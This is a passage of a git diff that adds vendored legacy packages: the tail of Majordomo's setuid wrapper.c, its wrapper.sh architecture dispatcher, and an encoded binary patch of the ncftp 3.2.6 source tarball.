"SHELL=/bin/sh" +#endif + +char * new_env[] = { + HOME, /* 0 */ + PATH, /* 1 */ + SHELL, /* 2 */ +#ifdef MAJORDOMO_CF + MAJORDOMO_CF, /* 3 */ +#endif + 0, /* possibly for USER or LOGNAME */ + 0, /* possible for LOGNAME */ + 0, /* possibly for timezone */ + 0 +}; + +int new_env_size = 7; /* to prevent overflow problems */ + +main(argc, argv, env) + int argc; + char * argv[]; + char * env[]; + +{ + char * prog; + int e, i; + + if (argc < 2) { + fprintf(stderr, "USAGE: %s program [ ...]\n", argv[0]); + exit(EX_USAGE); + } + + /* if the command contains a /, then don't allow it */ + if (STRCHR(argv[1], '/') != (char *) NULL) { + /* this error message is intentionally cryptic */ + fprintf(stderr, "%s: error: insecure usage\n", argv[0]); + exit(EX_NOPERM); + } + + if ((prog = (char *) malloc(strlen(BIN) + strlen(argv[1]) + 2)) == NULL) { + fprintf(stderr, "%s: error: malloc failed\n", argv[0]); + exit(EX_OSERR); + } + + sprintf(prog, "%s/%s", BIN, argv[1]); + + /* copy the "USER=" and "LOGNAME=" envariables into the new environment, + * if they exist. + */ + +#ifdef MAJORDOMO_CF + e = 4; /* the first unused slot in new_env[] */ +#else + e = 3; /* the first unused slot in new_env[] */ +#endif + + for (i = 0 ; env[i] != NULL && e <= new_env_size; i++) { + if ((strncmp(env[i], "USER=", 5) == 0) || + (strncmp(env[i], "TZ=", 3) == 0) || + (strncmp(env[i], "LOGNAME=", 8) == 0)) { + new_env[e++] = env[i]; + } + } + + +#if defined(SETGROUP) +/* renounce any previous group memberships if we are running as root */ + if (geteuid() == 0) { /* Should I exit if this test fails? */ + char *setgroups_used = "setgroups_was_included"; /* give strings a hint */ +#if defined(MAIL_GID) + int groups[] = { POSIX_GID, MAIL_GID, 0 }; + if (setgroups(2, groups) == -1) { +#else + int groups[] = { POSIX_GID, 0 }; + if (setgroups(1, groups) == -1) { +#endif + extern int errno; + + fprintf(stderr, "%s: error setgroups failed errno %d", argv[0], + errno); + } +} +#endif + + +#ifdef POSIX_GID + setgid(POSIX_GID); +#else + setgid(getegid()); +#endif + +#ifdef POSIX_UID + setuid(POSIX_UID); +#else + setuid(geteuid()); +#endif + + if ((getuid() != geteuid()) || (getgid() != getegid())) { + fprintf(stderr, "%s: error: Not running with proper UID and GID.\n", argv[0]); + fprintf(stderr, " Make certain that wrapper is installed setuid, and if so,\n"); + fprintf(stderr, " recompile with POSIX flags.\n"); + exit(EX_SOFTWARE); + } + + execve(prog, argv+1, new_env); + + /* the exec should never return */ + fprintf(stderr, "wrapper: Trying to exec %s failed: ", prog); + perror(NULL); + fprintf(stderr, " Did you define PERL correctly in the Makefile?\n"); + fprintf(stderr, " HOME is %s,\n", HOME); + fprintf(stderr, " PATH is %s,\n", PATH); + fprintf(stderr, " SHELL is %s,\n", SHELL); + fprintf(stderr, " MAJORDOMO_CF is %s\n", MAJORDOMO_CF); + exit(EX_OSERR); +} diff --git a/update/scripts/packages/majordomo-1.94.5/wrapper.sh b/update/scripts/packages/majordomo-1.94.5/wrapper.sh new file mode 100644 index 0000000..494db10 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/wrapper.sh @@ -0,0 +1,13 @@ +#! /bin/sh +PATH=/bin:/usr/bin +IFS=" " + +if [ -d /sys/node_data ]; then + arch="DomainOS" + else + arch=`arch` +fi + +exec $0.${arch} "$@" + +# $Header: /sources/cvsrepos/majordomo/wrapper.sh,v 1.4 1994/05/09 17:41:29 rouilj Exp $ diff --git a/update/scripts/packages/ncftp-3.2.6-src.tar.gz b/update/scripts/packages/ncftp-3.2.6-src.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..be16aa6a63a84ccf0708a3954a542ca77b9a4442 GIT binary patch literal 657878 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 